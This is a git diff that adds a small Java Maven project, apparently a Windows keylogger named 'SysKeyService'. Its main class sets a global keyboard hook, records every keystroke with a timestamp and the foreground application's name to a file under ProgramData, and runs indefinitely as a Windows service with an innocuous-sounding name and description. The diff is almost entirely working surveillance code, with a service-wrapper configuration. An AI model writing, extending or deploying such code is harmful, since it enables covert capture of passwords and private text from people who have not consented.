diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..c8440a3 --- /dev/null +++ b/pom.xml @@ -0,0 +1,79 @@ + + + 4.0.0 + + ru.mcs + syskey + 1.0-SNAPSHOT + syskey + + + 21 + 21 + UTF-8 + + + + + + com.github.kwhat + jnativehook + 2.2.2 + + + + + net.java.dev.jna + jna + 5.14.0 + + + net.java.dev.jna + jna-platform + 5.14.0 + + + + + org.slf4j + slf4j-api + 2.0.12 + + + org.slf4j + slf4j-simple + 2.0.12 + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 3.6.0 + + + + SysKeyService + + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + + \ No newline at end of file diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java new file mode 100644 index 0000000..3089000 --- /dev/null +++ b/src/main/java/ru/mcs/syskey/SysKeyService.java @@ -0,0 +1,143 @@ +package ru.mcs.syskey; + +import com.github.kwhat.jnativehook.GlobalScreen; +import com.github.kwhat.jnativehook.NativeHookException; +import com.github.kwhat.jnativehook.keyboard.NativeKeyEvent; +import com.github.kwhat.jnativehook.keyboard.NativeKeyListener; +import com.sun.jna.platform.win32.Kernel32; +import com.sun.jna.platform.win32.User32; +import com.sun.jna.platform.win32.WinDef; +import com.sun.jna.platform.win32.WinNT; +import com.sun.jna.ptr.IntByReference; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardOpenOption; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +public class SysKeyService implements NativeKeyListener { + private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class); + private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "KeyLogger", "keylog.txt"); + private static final User32 USER32 = User32.INSTANCE; + private static final Kernel32 KERNEL32 = Kernel32.INSTANCE; + private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + + public static void main(String[] args) { + try { + initLogger(); + initHook(); + runAsService(); + } catch (Exception e) { + logger.error("Critical error: {}", e.getMessage(), e); + System.exit(1); + } + } + + private static void initLogger() throws IOException { + Files.createDirectories(LOG_FILE.getParent()); + if (!Files.exists(LOG_FILE)) { + Files.createFile(LOG_FILE); + } + } + + private static void initHook() throws NativeHookException { + GlobalScreen.registerNativeHook(); + GlobalScreen.addNativeKeyListener(new SysKeyService()); + } + + private static void runAsService() { + logger.info("Keylogger service started"); + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + try { + GlobalScreen.unregisterNativeHook(); + } catch (NativeHookException e) { + logger.error("Error unregistering hook: {}", e.getMessage()); + } + logger.info("Service stopped"); + })); + + while (true) { + try { + Thread.sleep(Long.MAX_VALUE); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + break; + } + } + } + + @Override + public void nativeKeyPressed(NativeKeyEvent e) { + try { + WinDef.HWND foregroundWindow = USER32.GetForegroundWindow(); + String appName = getApplicationName(foregroundWindow); + String keyText = getKeyText(e); + + String logEntry = String.format("[%s] %s: %s%n", + LocalDateTime.now().format(DTF), + appName, + keyText); + + Files.writeString(LOG_FILE, logEntry, + StandardOpenOption.APPEND, StandardOpenOption.CREATE); + } catch (Exception ex) { + logger.error("Logging error: {}", ex.getMessage()); + } + } + + private String getApplicationName(WinDef.HWND hwnd) { + IntByReference pidRef = new IntByReference(0); + try { + // Получаем PID процесса через IntByReference + USER32.GetWindowThreadProcessId(hwnd, pidRef); + int pid = pidRef.getValue(); + + if (pid == 0) { + return "Unknown"; + } + + // Открываем процесс + WinNT.HANDLE process = KERNEL32.OpenProcess( + Kernel32.PROCESS_QUERY_LIMITED_INFORMATION, + false, + pid + ); + + if (process == null) return "Unknown"; + + // Получаем путь к исполняемому файлу + char[] path = new char[4096]; + IntByReference sizeRef = new IntByReference(path.length); + boolean success = KERNEL32.QueryFullProcessImageName(process, 0, path, sizeRef); + KERNEL32.CloseHandle(process); + + if (!success) return "Unknown"; + + // Извлекаем имя файла из пути + String fullPath = new String(path, 0, sizeRef.getValue()).trim(); + return fullPath.substring(fullPath.lastIndexOf('\\') + 1); + } catch (Exception e) { + logger.error("App name error: {}", e.getMessage()); + return "Unknown (PID: " + pidRef.getValue() + ")"; + } + } + + + private String getKeyText(NativeKeyEvent e) { + try { + return NativeKeyEvent.getKeyText(e.getKeyCode()) + .replace("\n", "Enter") + .replace("\t", "Tab"); + } catch (Exception ex) { + return "KeyCode-" + e.getKeyCode(); + } + } + + // Остальные методы интерфейса + @Override public void nativeKeyReleased(NativeKeyEvent e) {} + @Override public void nativeKeyTyped(NativeKeyEvent e) {} +} \ No newline at end of file diff --git a/src/main/resources/ru/mcs/syskey/SysKeyService.xml b/src/main/resources/ru/mcs/syskey/SysKeyService.xml new file mode 100644 index 0000000..1d5b0a2 --- /dev/null +++ b/src/main/resources/ru/mcs/syskey/SysKeyService.xml @@ -0,0 +1,9 @@ + + SysKeyService + Sys key Service + Sys key Service active applications + java + -jar "C:\path\to\your\app.jar" + rotate + + \ No newline at end of file